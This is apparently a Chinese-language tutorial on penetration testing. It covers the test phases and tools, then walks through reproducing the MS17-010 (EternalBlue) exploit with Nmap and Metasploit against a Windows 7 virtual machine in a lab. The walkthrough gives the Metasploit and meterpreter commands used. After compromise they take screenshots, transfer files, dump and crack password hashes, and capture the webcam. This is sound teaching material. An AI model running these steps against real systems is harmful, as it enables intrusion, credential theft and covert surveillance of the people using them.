1、概述
渗透测试(Penetration Testing),就是一种通过模拟恶意攻击者的技术与方法,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。
简单来说渗透测试是通过各种⼿段对⽬标进⾏⼀次渗透(攻击),通过渗透来测试⽬标的安全防护能⼒和安全防护意识。
渗透过程最主要的底层基础是目标系统中存在安全漏洞(指信息系统中存在的缺陷或不适当的配置,他们可使攻击者在未授权情况下访问或破坏系统,导致信息系统面临安全风险)。利用安全漏洞来造成入侵或破坏效果的程序就称为渗透代码(Exploit),或者漏洞利用代码。
2、渗透测试分类
- 黑盒测试(外部测试)
- 白盒测试(内部测试)
- 灰盒测试(组合测试)
3、渗透测试的过程(七个阶段)
1.前期交互阶段(Pre-Engagement Interaction)
渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。
2.情报搜集阶段(Information Gathering)
在目标范围确定之后,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。 渗透测试者可以使用的情报搜集方法包括公开来源信息查询、GoogleHacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。
3.威胁建模阶段(Threat Modeling)
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家 聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。 这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。 通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道。
4.漏洞分析阶段(Vulnerability Analysis)
在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访 问控制权,即漏洞分析(Vulnerability Analysis)阶段。 在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特 别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源 ,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段, 高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全 漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码, 从而打开攻击通道上的关键路径。
5.渗透攻击阶段(Exploitation)
渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节 中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系 统当中,获得访问控制权。 渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中, 渗透测试者还需要充分地考虑目标系
统特性来定制渗透攻击,并需要挫败目 标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试 中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标 组织安全响应团队的警觉和发现。
6.后渗透攻击阶段(Post Exploitation)(清除痕迹)
后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测 试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成 非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务 经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标 ,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资 产,最终达成能够对客户组织造成最重要业务影响的攻击途径。 在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置 是否准确并且可行,也取决于团队自身的创新意识、知识范畴、实际经验和 技术能力。
7.报告阶段(Reporting)
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一 份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测 试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻 击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度 上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升 级技术方案。
4、渗透测试工具
4.1Metasploit(MSF)
Metasploit是一个开源的渗透测试框架软件,也是一个逐步发展成 熟的漏洞研究与渗透代码开发平台,此外也将成为支持整个渗透测 试过程的安全技术集成开发与应用环境。
Metasploit中的专业术语:
- Exploit(渗透攻击):渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务 中的安全漏洞,所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、WEB应用程 序漏洞攻击(例如:SQL注入、XSS等),以及利用配置错误等。
- Payload(攻击载荷):攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码 ,在Metasploit框架中可以自由地选择、传送和植入。
- ShellCode:ShellCode是渗透攻击时作为攻击载荷运行的一组机器指令。ShellCode 通常用汇编语言编写。
- Module(模块):在Metasploit中一个模块是指Metasploit框架中所使用的一段软件代 码组件。
- Listener(监听器):监听器是Metasploit中用来等待接入网络连接主机的组件。
4.2Nmap
Nmap( Network Mapper),是目前最流行的网络扫描工具,不仅能准确 探测单台主机的详细情况,而且能高效地对大范围 的Ip地址段扫描。 能扫描目标网络上有哪些主机上存活的,哪些服务 是开放的,甚至知道网络中使用了何种类型的防火墙设备等。
版本:GUI版/命令行版
优点:
- 灵活: 支持数十种不同的扫描方式,支持多种目标对象的扫描。
- 强大: Nmap可以用于扫描互联网上大规模的计算机。
- 可移植 :支持主流的操作系统:windows/Linux/Unix/Mac OS等
- 简单 :提供默认的操作能覆盖大部分功能,基本端口扫描
- 自由: Nmap是一款开源软件,在GPL License的范围内可以自由使用
- 社区支持: Nmap是一款开源软件,背后有强大的社区团队支持
4.3Cobalt Strike(CS)
Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具,是一款基于java的渗透测试神器,常被业界人称为CS,也被戏称为“线上多人运动平台”,需知道IP和密码。 Cobalt Strike集成了端口转发、扫描多横式端口Listener,Windowsexe程序生成、Windowsdll动态链接库生成,iava程序生成,office宏代码生成、socket代理、提权、钓鱼、远控木马等功能。
5、ms17-010(永恒之蓝)漏洞复现
使用到的工具:
- nmap
- Metasploit(MSF)
5.1环境准备
- 虚拟机软件:Vmware Workstation 17
- 攻击机:Kali
- 靶机环境:Win7
配置kali和Win7网络模式为NAT模式。查看kali和Win7IP地址:
Win7:命令:ipconfig,结果:192.168.87.134
kali:命令:ifconfig,结果:192.168.87.136
5.2实操
1)在kali中,先进入root管理员模式 : su ,输入密码 root ,回车
编辑
2)使用Nmap工具进行扫描,查看靶机是否存活
命令为:nmap -T4 -A -v -Pn 192.168.87.134
编辑
发现对方的445端口是开放的,可以尝试进行ms17-010漏洞攻击。
3)启动Metasploit,命令为: msfconsole
编辑
4)启动成功后搜索ms17-010的有关模块,命令为: search ms17-010
编辑
其中,exploit是攻击模块,auxiliary是辅助模块,这里我们先选用0辅助扫描模块,来确定漏洞是否存在,命令:use 0,然后查看该模块需要修改的参数,命令:show options。
编辑
required中yes选项是必须要填的,可以看到缺少了RHOSTS。
5)设置攻击目标
命令:set rhosts 192.168.87.134(此处IP为被攻击主机的IP)。再去查看参数的话就可以发现RHOSTS已经填好了。
编辑
6)开始攻击,命令:run。
编辑
7)攻击成功,接下来可以使用meterpreter进行其他渗透操作。
- 截屏:命令:screenshot
编辑
- 上传文件到Win7的C盘中 :meterpreter > upload /home/kali/fQFTTIgw.jpeg c:\
编辑
编辑
从Windows主机中下载文件到kali中meterpreter > download c:\meishaonv.jpg /home/kali/
编辑
编辑
- 查看权限:getuid,得知权限为管理员权限。使用shell命令进入window7系统,
编辑
输入: hashdump进行Hash攻击(注意,在非system权限下会出现失败)。Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。
编辑
然后通过在网站解密hash值: md5在线解密破解,md5解密加密
编辑
最终得到win7的登录用户名(client)和密码(12345678)
- 操作摄像头
- webcam_list-->查看摄像头
- webcam_snap -->通过摄像头拍照
- webcam_stream -->通过摄像头开启视频